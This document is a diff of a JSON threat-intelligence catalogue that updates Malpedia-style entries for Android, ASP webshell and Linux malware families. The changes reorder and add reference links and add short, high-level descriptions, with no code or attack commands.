"https://www.threatfabric.com/blogs/vultur-v-for-vnc.html", "https://twitter.com/_icebre4ker_/status/1485651238175846400" ], @@ -2877,9 +3095,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex", "https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/", - "https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/", "https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/", - "https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack" + "https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack", + "https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/" ], "synonyms": [], "type": [] @@ -2906,8 +3124,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba", - "https://securelist.com/roaming-mantis-reaches-europe/105596/", - "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan" + "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan", + "https://securelist.com/roaming-mantis-reaches-europe/105596/" ], "synonyms": [], "type": [] @@ -2920,8 +3138,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot", - "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/", - "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/" + "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/", + "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/" ], "synonyms": [], "type": [] @@ -2930,12 +3148,16 @@ "value": "Xbot" }, { - "description": "", + "description": "Xenomorph is a Android Banking RAT developed by the Hadoken.Security actor.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph", "https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html", - "https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5" + "https://www.threatfabric.com/blogs/xenomorph-v3-new-variant-with-ats.html", + "https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html", + "https://www.threatfabric.com/blogs/bugdrop-new-dropper-bypassing-google-security-measures.html", + "https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5", + "https://www.zscaler.com/blogs/security-research/rise-banking-trojan-dropper-google-play-0" ], "synonyms": [], "type": [] @@ -2974,21 +3196,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf", - "https://blog.lookout.com/xrat-mobile-threat" + "https://blog.lookout.com/xrat-mobile-threat", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c76e2ee8-52d1-4a55-81df-5542d232ca32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a8f167a8-30b9-4953-8eb6-247f0d046d32", "value": "XRat" }, @@ -3005,6 +3218,19 @@ "uuid": "a2dad59d-2355-415c-b4d6-62236d3de4c7", "value": "YellYouth" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zanubis", + "https://labs.k7computing.com/index.php/an-upsurge-of-new-android-banking-trojan-zanubis/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cebf13e5-dbfc-49d6-8715-e3b7687d386f", + "value": "Zanubis" + }, { "description": "", "meta": { @@ -3023,11 +3249,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark", + "https://securelist.com/whos-who-in-the-zoo/85394/", "https://securelist.com/whos-who-in-the-zoo/85394", "https://www.secureworks.com/research/threat-profiles/cobalt-juno", - "https://securelist.com/whos-who-in-the-zoo/85394/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf", + "https://securelist.com/apt-trends-report-q2-2019/91897/" ], "synonyms": [], "type": [] @@ -3041,8 +3267,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg", "https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1", - "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2", - "https://securelist.com/ztorg-from-rooting-to-sms/78775/" + "https://securelist.com/ztorg-from-rooting-to-sms/78775/", + "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2" ], "synonyms": [ "Qysly" @@ -3052,25 +3278,52 @@ "uuid": "9fbf97c0-d87a-47b0-a511-0147a58b5202", "value": "Ztorg" }, + { + "description": "WebShell.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/asp.nightrunner", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b0206aac-30ff-41ce-b7d4-1b94ab15e3b1", + "value": "Nightrunner" + }, + { + "description": "WebShell.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/asp.tunna", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b057f462-dc32-4f7b-95e0-98a20a48f2b2", + "value": "Tunna" + }, { "description": "According to Unit42, TwoFace is a two-staged (loader+payload) webshell, written in C# and meant to run on webservers with ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser, likely to remain undetected. The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server.\r\n\r\nThe secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. Commands supported by the payload are execution of programs, up-, download and deletion of files and capability to manipulate MAC timestamps.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf", - "https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", "https://www.youtube.com/watch?time_continue=1333&v=1CGAmjAV8nI", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf", + "https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/", "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/", + "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/", "https://www.youtube.com/watch?v=GjquFKa4afU", - "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf" ], "synonyms": [ "HighShell", @@ -3080,15 +3333,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "9334c430-0d83-4893-8982-66a1dc1a2b11", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a98a04e5-1f86-44b8-91ff-dbe1534782ba", "value": "TwoFace" }, @@ -3105,14 +3349,14 @@ "value": "Unidentified ASP 001 (Webshell)" }, { - "description": "", + "description": "Abcbot is a modular Go-based botnet and malware that propagates via exploits and brute force attempts. The botnet was observed launching DDoS attacks, perform internet scans, and serve web pages. It is probably linked to Xanthe-based clipjacking campaign.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot", + "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", "https://www.cadosecurity.com/the-continued-evolution-of-abcbot/", - "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/", "https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/", - "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/" + "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/" ], "synonyms": [], "type": [] @@ -3125,8 +3369,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acbackdoor", - "https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf" + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", + "https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/" ], "synonyms": [], "type": [] @@ -3139,17 +3384,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidrain", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", - "https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html", - "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/", "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", - "https://cybersecuritynews.com/acidrain-wiper-malware/", + "https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html", "https://www.techtimes.com/articles/273755/20220331/viasat-hit-russia-s-wiper-malware-called-acidrain-affecting-european.htm", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" + "https://cybersecuritynews.com/acidrain-wiper-malware/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/" ], "synonyms": [], "type": [] @@ -3162,8 +3408,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.age_locker", - "https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/", "https://twitter.com/IntezerLabs/status/1326880812344676352", + "https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], @@ -3201,21 +3447,21 @@ "value": "Aisuru" }, { - "description": "", + "description": "Backdoor deployed by the TrickBot actors. It uses DNS as the command and control channel as well as for exfiltration of data.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.netscout.com/blog/asert/dropping-anchor", "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://www.netscout.com/blog/asert/dropping-anchor", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate", - "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30" ], "synonyms": [], "type": [] @@ -3228,8 +3474,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.angryrebel", - "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-olive" + "https://www.secureworks.com/research/threat-profiles/bronze-olive", + "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" ], "synonyms": [ "Ghost RAT" @@ -3246,10 +3492,11 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker", "https://blog.lexfo.fr/Avoslocker.html", "https://www.ic3.gov/Media/News/2022/220318.pdf", - "https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html", - "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux" + "https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen" ], "synonyms": [], "type": [] @@ -3288,15 +3535,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" ], "synonyms": [], @@ -3335,24 +3583,38 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.badcall", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack" + ], + "synonyms": [], + "type": [] + }, + "uuid": "350817e8-4d70-455e-b1fd-000bed4a4cf4", + "value": "BADCALL (ELF)" + }, + { + "description": "Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", + "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", "https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora", - "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", - "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", - "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.nozominetworks.com/blog/could-threat-actors-be-downgrading-their-malware-to-evade-detection/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/", + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", + "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", - "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", "https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/", + "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", - "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", - "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/" + "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", + "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt" ], "synonyms": [ "Gafgyt", @@ -3363,15 +3625,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "55f8fb60-6339-4bc2-baa0-41e698e11f95", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "81917a93-6a70-4334-afe2-56904c1fafe9", "value": "Bashlite" }, @@ -3388,11 +3641,28 @@ "uuid": "d8dd47a5-85fe-4f07-89dc-00301468d209", "value": "BCMPUPnP_Hunter" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bianlian", + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://rhisac.org/threat-intelligence/bianlian-ransomware-expanding-c2-infrastructure-and-operational-tempo/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f6be433e-7ed0-4777-876b-e3e2ba7d5c7f", + "value": "BianLian (ELF)" + }, { "description": "Linux version of the bifrose malware that originally targeted Windows platform only. The backdoor has the ability to perform file management, start or end a process, or start a remote shell. The connection is encrypted using a modified RC4 algorithm.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bifrost", + "https://twitter.com/strinsert1Na/status/1595553530579890176", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://cyberandramen.net/2022/12/30/a-quick-look-at-elf-bifrose/", "https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/" ], "synonyms": [ @@ -3429,30 +3699,51 @@ "uuid": "8e301f58-acef-48e7-ad8b-c27d3ed38eed", "value": "BioSet" }, + { + "description": "ESXi encrypting ransomware, using a combination of the stream cipher ChaCha20 and RSA.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackbasta", + "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview" + ], + "synonyms": [], + "type": [] + }, + "uuid": "35c86fef-18fe-491c-ad3c-13f98e8f5584", + "value": "Black Basta (ELF)" + }, { "description": "ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.\r\n\r\nALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat", - "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", - "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", - "https://blog.group-ib.com/blackcat", - "https://killingthebear.jorgetesta.tech/actors/alphv", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", - "https://www.forescout.com/resources/analysis-of-an-alphv-incident", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", - "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://www.intrinsec.com/alphv-ransomware-gang-analysis/", + "https://github.com/rivitna/Malware/tree/main/BlackCat/ALPHV3", "https://twitter.com/sisoma2/status/1473243875158499330", "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", - "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", + "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", + "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", + "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", + "https://www.forescout.com/resources/analysis-of-an-alphv-incident", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/", "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", - "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/" + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://blog.group-ib.com/blackcat", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://killingthebear.jorgetesta.tech/actors/alphv", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous" ], "synonyms": [ "ALPHV", @@ -3468,34 +3759,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://blog.group-ib.com/blackmatter#", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://twitter.com/VK_Intel/status/1423188690126266370", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", "https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", - "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", - "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", 